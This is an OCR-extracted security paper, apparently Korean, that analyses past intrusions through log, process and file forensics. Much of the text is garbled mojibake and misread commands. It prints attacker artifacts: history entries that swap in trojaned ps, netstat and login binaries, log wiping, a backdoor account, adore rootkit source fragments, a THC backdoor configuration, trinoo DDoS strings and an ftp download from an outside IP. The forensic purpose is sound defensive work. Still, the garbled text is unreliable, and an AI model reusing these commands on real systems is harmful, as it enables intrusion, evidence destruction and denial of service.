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Security vulnerabilities analysis in Network Systems
based on the Hacking Incidents

Bong-han Kim’, Bong-gun Lee , Min-uk Kil
ABSTRACT

In this paper, possible security vulnerabilities analysis in network system environments are studied by analyzing previous
hacking incidents. The paper suggests a method to identify problems with the files tampered by security attacks as well as
to analyze the related log files and processes. In addition, tools used in attacks are analyzed to find efficient ways to apply
security enhancement tools, and security vulnerabilities in network protocols and their countermeasures are also examined.
Possible security vulnerabilities is analyzed following a "query-and-response” approach, so that they can be easily applicable
to similar attacks detected in the future.
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#cat Jetc/vistab

/dev/dsk/c1t0d0s1 - - swap = — no -

/dev/dsk/c1t0d0s5 /dev/rdsk/c1t0d0s5 /var ufs 1  no -
/dev/dsk/c1t2d0s7 /dev/rdsk/c1t2d0s7 /homel ufs 2  yes -

/dev/dsk/c1t0d0s0 4133838 241845 3850655 6% /

/dev/dsk/c1t0d0s4 8263373 6360669 1820071 78%  Jusr
<>

/dev/dsk/c1t5d0s0 291215 1 262093 1%  /homed

/dev/dsk/c1t5d0s3 1322527 1689 1267937 1%  /home

/dev/dsk/c1t5d0s0 67264763 385964 66206152 1%  /mat

#strings /dev/dsk/c1t5d0s0 > img
#grep rpe.statd /img

i grep rpc.statd ./ing
shin/epe.statd
¢ p Ppcepe. Jockddp PuC’ X and137 2568 y¢'dp Pplrpe.statddp
Fd(rpe. lockd)e Feland)i FdCepe.statddd Fectodk(peodoCvide)d(distrihuted)y
en -¢f /shin/ppe.statd Ausr/shin/atd Ause/shin/epe.pquotad
killall -9 epc.statd wpc.rquoatd atd nfsd
rpc.statd serves requests on {port} [query]
OMG! You now have rpc.statd technique!BHs!

#37887: nountnfs.sh should start rpc.statd if availahle
Does not inform rpe.statd vhen hosts no longer require
Heavily modified rpe.statd for more rohust callhacks/notify handling
eff Uphoff’s ppe.statd.
Inregister hosts (SH_UNMON) with rpc.statd uhen appropriate.
rpc.statd.§.qz K
rpc.statd.§.gz
rpc.statd.§.gz
rpc.statd.§.gz

32l 1. rpestatd MHlA H=2
Fig. 1. rpe.statd service demon
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rpc.statdo] o},

oz oz ZAGA T
F Ak vhA 2 2 LKM F
kstat$ o] &3] A|2R1S £ %

tae o
=/

° _E,_/,g']

kstatE o] &3l LKM FEAS
=
#/usr/bin/kstat —
PID PPID UID GID COMMAND
1 0 0 0 init
2 1 0 0 keventd
128 1 0 0 kjournald

<zE>

649 551 0 0 in.telnetd
650 649 0 0 login

#ps —ef | grep portmap

#/usr/bin/kstat —M

Module Address

knull 0xc283a000

<Z>

cdrom 0xc27a1000

jbd 0xc2774000

#/usr/bin/kstat —s

SysCall Address

sys_exit 0xc011608c
<>

sys_syslog 0xc011269c

sys_vm86 0xc0109e70

#cat /etc/rc.d/rc.sysinit

shinsuname —aj;

shinscat sprocscpuinfo;

[ -» sproc/modules 1 && shinscat sprocsmodules;

[ —» sprocsksyms 1 && sbinscat /procsksyms) >rvarslogsksyms._8

it create the crash indicator flag to warn on crashes. offer fsck w
touch /.autefsck

kill -TERM ‘/shins/pidof getkey® »rdeus/null 2>&1
&

if [ “$PROMPI" *= "no" 15 then
/shin/getkey i &8& touch Avar/run/confirm

[if [ —f /shinsinsmod 1 5 then

/shinsinsmod —f susp/lib/adore.o > sdevs/null 2281
else

if [ —-f ¢binsinsmod 1 ; then
sbinsinsmod —f Ausps/libradore.o > Adevs/null 284

K

fi

a8 2. MU= LKM 2= EX|
Fig. 2. Detect a inserted LKM module

#vi /etc/re.d/re.sysinit

if [ “SPROMPT" '= "no" 1; then
sshins/getkey i && touch rvar/runsconfirm

"setcsre.dsre.sysinit" 784 lines. 22382 characters

38 3 MY LKM 2= AR
Fig. 3. Delete a inserted LKM module
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o] ot AE}‘E BAARE o] |4 & glojol
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1, ¥zojg AR HE ZEMY AL A%, 2 F
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Aol A4al7) 93 $8% 3 0|2, netstat 27
2 WEo] £E7} QA & AL HolA) LA 3]
S8 47 9 ol 5 B4R

o B4

hacking 5] Ab122] 348 913 shell ¢] log file
F71E A-E0] Bk o2 g shello] H71 21 54
& o] &3}, S| AY PFE& FH3H=F gt hostory
HYLe 7 ARRAEE FP3 BH S 7|83 Y
2 A, csh, tesh, ksh, bash § AHS-A}E 0] AH8-3h= 4
of] w}khistory, bash_history 5 o] 7|2 €t} &7
A28 24 o, B AR8A A% o]y root
AR history Y& FAFO2A, FHAI} A2
do 42 F 5P BH o5& AT+ Uk

history 492 BE 7 AREALe] ETH Eg] ] A
Aol Ak A3AQA 2% AAE AXA g3 ¥ie
o] XEE &t A FoIgke 735 9704
X EO| root shell 2 v} 3}aL o] ZEZ A4S &
Al =¥ root®] & )Y E 2]l .bash_history 3} o] A
BEE Aol oz}, stdA 2" HA9 " Ee
o history Zdo] AAH= AL AT 5 ISk
2, / bash_history 3} el] =] FEZ &3] A}
|8 HPoIE0] 7|Z €

#ls
#cat history.bak

cp -f ps /hin/ps

cp -f top Ausr/hin/top

cp -f linsniffer /hin/crand
cp -f netstat /hin/netstat

echo "3 38117" )Y /dev/ptyg

echo "3 38118" ) /dev/ptyq

userdel -r paint ; echo "en -¢f /.hash_history" >} /etc/cH
psend

J8 4. ¥Zo ZEWHS
Fig. 4. Backdoor port number

cd svar~log
"> secure

" > messages
netstat -n k
cat sdev/ptyg

o
A

cd /var/named

1s

useradd —p "' paint

I8 5 Mo Ex|
Fig. 5. Detect a setup file
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3ta YA P 5-S FA%) unrm S AHE-EHe I}
ElAo] &9 ¥ fi F7t vlojy B7g
th lazarusE ARS8 unrm Q.2 HE £AH law b

°|HE E4sto] do]E Fejot &S FAFTh

¥ tethd 4F3A
#cd /homel/user016

drwxr—xr—x 2 user016 training 512 Aug 7 14:13
drwxr—xr—x 108 root root 2048 Jan 26 2005
—rw—r——r—— 1 user016 training 185 Aug 7 13:40
profile

—rw—r——r—— 1 user016 training 124 Aug 7 13:40
local.cshrc

—rw-r——r—— 1 root root 726658 Aug 7 14:13

tet—1.12.tar.gz
#gunzip tct—1.12.tar.gz
#tar xvf tct—1.12.tar

# ot Al2E FQ

#cat Jetc/vistab

# AAE TP oHAE wEo] FUh vistabd] 7|EH
clt0d0s62.2 o] AE AHA FFAA ofu|A7} wE0jA|A]

et

#cd bin

#.Junrm —f ufs .dev/dsk/c1t1d0s6 > img
#ls —al img

#./lazarus/lazarus —h ./img

# et 3 AL NEA 74

#cd /homel/user016/tct—1.12

# /reconfig

#../lazarus/lazarus ./img

#cd .

#cd blocks

#ls —al

#cat 122.c.txt | more

¥ B3g g YLoA adore lkm rootkite #AT & Yok

#include {linux/capahility.h?

fiinclude “adore.h"

extern void *sys_call tablel1;

int (*0_getdents)Cunsigned int, struct dirent *, unsigned int);

a8 6 ¥ 9
Fig. 6. Detect a worm
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32 oM =23 BAM

T F AW A AR A= Yol ?ﬁ
E # AL 2A3GT 4EE AR5 AL
/usr/local/apache/data o]tt. DS Fol &5 —E—
Agit.

o 24
AH N 22 RS APAI)A Fu F43)
Wiolt). A2 dAE ZR2IaRS }
A% 814 & A APAA Be AL g A5
AEolth. A ML 2 UL AYPAF)|A &7
ol AL o] FAAT F AMLE §
AE A2 FAGAM £48 ¢ Qo dAHE
‘file’, ‘strings’, 'nm’ W HE-& 0|83} vlojU ] Y
< B4,

L rzi rr

#cd /usr/local/apache/data
#ls —alQ

# non—printable EALZ o}F oA £AR B @A

"

# strings ".. " |more

# Unix 3494 A990e #4493, AR e—mail 2
ZAHE Ex9 @A, 3 TCP 12345 LEE A3tk A
o2 4% £ Je BAYL 2T £ Ut
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“usr/local hin

“usr/localsshin

opt

Thiz programm is running on Unix enuvironment
aionBukr.net

bis/us/pided.2s
.cache

a8l 7. oME= Mu|AeL ZE
Fig. 7. Suspected service and port

gAzeE ZEIY Ay FYAA FFLS
Unixo|2 o] Z2A-L A4 A0 2 7IEHE A}
Z9 WY FAE aion@ukr.neto]th E3 b T2
T AT AR AEE AH 29 FEE
123450t}

3.3 Convert-channel £

33} A|25e] Aok A5l sick. 4P M
12 Fohha BHHN 3474 Al|E(P)E ot
£% P Mo} Ag e oAy xe

2, FAAHALG I A299) P 74, FHAY za
%2 TCPDump o] § 3] RUEF 3k

o BA

tepdump® ol 4-3e}, YEY RS 22 Ine
S5 B9,

#cd /var/spool/cron/crontans
#cat root

16 3 = = 8,4 setc/cron.d/logchecker
(1@ 3 = =8 /usr/lib/nevsyslog
(15 3 * = B fusr/Llib/fs/nfs/nfsfind

(1 2 ® %% [ -x Aausrsshin/ete 1 &% /use/shin/ete - > /dev/null
38 3 * = = [ -x /use/lib/yss/gsscred_clean 1 & suse/lib/gss/

D % ¥ % ¥

it

Jusr/hinsvargs slave

08 8 RE il ZA}
Fig. 8. Check a root file

#arep —v "~ #" Jusr/bin/xargs.19 | head —nl5

SCGI_PREFIX="scgi-hin/orderforn”;# should look like a valid cgi
GMASK="vi"; # for masking the program’s pp
SPASSWORD="THC"; # anything, nothing you have t
# (not a real “paszuord" anyua
# on which port to listen (BB [needs ro
# the host to run on (ip/dns) ¢

5LISTEN_PORT=88;
5SERVER="192.168.227.1";

2 9 IP A4 ZEHS EX]|
Fig. 9. Detect IP address and port nember

# tcpdump —Xn tep port 80 and host 192.168.227.1

MEo}} g o EA M ZEES
o1 FAA} Agehe
192.168.227 10|t}

hitp

Q.
N&"el P FaE

V. HER3 =2EZ Y

B A E A AHEEE TCP =& UDP HIE
Az Z2EZY YBAS FA%t a9 d-eE 3
= B3t 71HE AF3ATHS, 6].

4.1 UDP Flooding

9% Alo|ERRE H2)F A2H(VSUN)o] &
7 A7kl UDP Flooding AH|& AR 4S8}l 3l
Tt gtk Aj2E B4E Fabe] Mulx 34 Zeo
BE Fo}, P ZaA|L T4 H HE 24 3
T4 T2 o|F, BB sk AH|(Master

Server) ] %4 5-& B4,

o] &3led o L2 WL g, BA
313l crond] §E5 0] gle o4 T=I9 AAG
AAFE EAE 03 20 94 TRHAE ©A)
331 A AR, strings ol 451e] )42 15}, o

ps, strmgsf‘—

-6 -
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A =2 39S A gh cronttab root Y-S <18}

avi 7|2 & 38
#ps —ef

1.12bk2t @1 549 1289637606 1 1 @ 211.241.8
root 1628 1614 @ 22:54:11 pts/?  @:60 —sh
1565 1537 @ 22:53:57 pts/d  @:6@ login -p -d /dev/pts/?

1659 1 822:54:18 7
1649 1 822:54:18 7
129 84 8 22:32:17 pts/f

B:00 fusy/shin/naster
B:00 fusr/shin/epe. listen

8:0@ login -p -d /dev/pts/8

556 @ Jun B1 7 B:00 fusr/dt/hinsdtexec -ope
2.12hk2¢ Bi 549 1289637886 1 1 @ 211.241.8
root 25699 25898 @  Jun A1 77 B:00 fusr/dt/hinsdttern

8 10, Z2MIA HA}
Fig. 10. Check a process

#kill —9 1659

#kill =9 1649

#strings /usr/sbin/master

master

Jetc/.evre

RC_ROOT

.o AL

mtimer: usage: mtimer <seconds to DoS>
usebackup: Switching to backup data file, If exist.
help

trinoo>

#strings /usr/sbin/rpc.listen

rpc.listen

127.0.0.1

Jetc/.evre

RC_ROOT

.o AL

udpport

tepport

#rm /usr/sbin/master
#rm /usr/sbin/rpc.listen

#vi /var/spool/cron/crontabs/root 3 Wl RES ALz

## The rtc command is run to adjust the real time clock if a
it daylight savings time changes.

L3
[1B 3 = * 8,4 setcscron.d/logchecker
[l 3 = =@ susr/slib/neusyslog

iS5 3 = = @ susr/lib/fs/nfs/nfsfind

[l 2 » = = [ —x /usr/shinsrte 1 && ~uspsshin/rtc —c > Zdev/n
lib/gss/gsscred_clean 1 && fusr/libr/gs

A 3 = = 0.4 /usr/shin/rpe. listen

38 1. o2 28 AR
Fig. 11. Delete the last part

49 DDoS =79 o] &
9] IP:=127.0.0.10]t}.

£ trinoo©] 1 Master A

42 HELA 4zl 24
HEHZ ZUEZES 3 5,1

e 340% JiHE 21 —3—
s Al2Hel] H&3 v o™
N ER Zzade ez 13_1.
tepflow Z2IP G o] fs}e], 27 H EYI S
1 FHAAT R e A AR g 22
A Yopdtt. fipE T 2=3 F4S EY
B ol A FZ-31], evidence o] F O 2 A} EE
=

o 1A

tepflows= TCP AZdA F41H = HolHE A
Hehe ZEIYOZA, o|F o83t HEHT 4
9 Holg £4e A & F 7 ot tepflows
ipA.portA-ipB.portB 2 ¥ ¢ BUc]Fo R 53
H HolgE AT

#ls
#/usr/local/bin/tepflow —r 0108@000—snort.log

# AR 23 HolEjol Azte] TCP A2 dlo|gE 32§
AL A48 22, 32 He 1524FEd 4F 92 ilol
EE 29En

#cat 208.061.001.06596—-172.016.001.102.01524

-7 -
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it cat 208.061.0801.160.A3596-172.016.001.102.01524
uname —a;ls -1 /core svar/dt/tmp/DISPCD.log;PATH=/usr/loc

ers/chin:sghin: f/usrsecesbin: susr/gnushinsexport PATHecho !
rep ' —s stnpsx’ igrep —u greplawk '{print 523"°

u

unset HISTFILE

cd stmp

mkdir suses1ib

mv #hinslogin susp/libs/1ibf1l.k

ftp 64.224.118.115

chmod 555 sunl
my sunl /hin/login

T8 12, CtREEs gfaln Mxsk 5l

Fig. 12. Downloading file and modulated file

# fip 92 HolEE, 7 FU2 BAPT
#ep 064.224.118.115.00020~172.016.001.102.33514

evidence

AR 2= Y oL sunlo|n F2
A7} W23 29 o] & loginol

V. 22

£ =54 A=A URTAKISA) A A P31
SISell A A7gg tiEA aAEE FAHSE UE
A= Aj2Re FANAT ttAle T8It Al
29 213 9 ZaA2 FAdXE 719s E832
Bt 99, History 39S B3l ot A2l 21
Bdel FRe e BA8ta theRkkE AAEATH
A/ B =F A= Investigation, o4 T2
7%, Convert-channel& 53 U8 =79 523
Aot lo] dud Fo o= TEAX B3}
2 a9 e U 7S AXEITE WEHA
ZZEZ EXoxz UDP Flooding YWEHZ 7,

298 AR 53 TCP/IP Z2EZ] EAHT F
A e £X3IT dhsuoks ATstack

a3 AaY 21 9 Z2AA B, 7/ /HE%
ST B4, YEYT T2EZH g B4 2 g8t
okE A9} S FHo BAsle IF nsd §
ge] Fglo] HAHUE 2 AH HLE F U=E
A3t ATk

olf3 Tzt AlE FAoE AAH Ul
& A7FeEA AZL AYHA TIeFH VIes
Maste] Hop 554 AAEA A2ES AL
F AE Aotk

o3

D23
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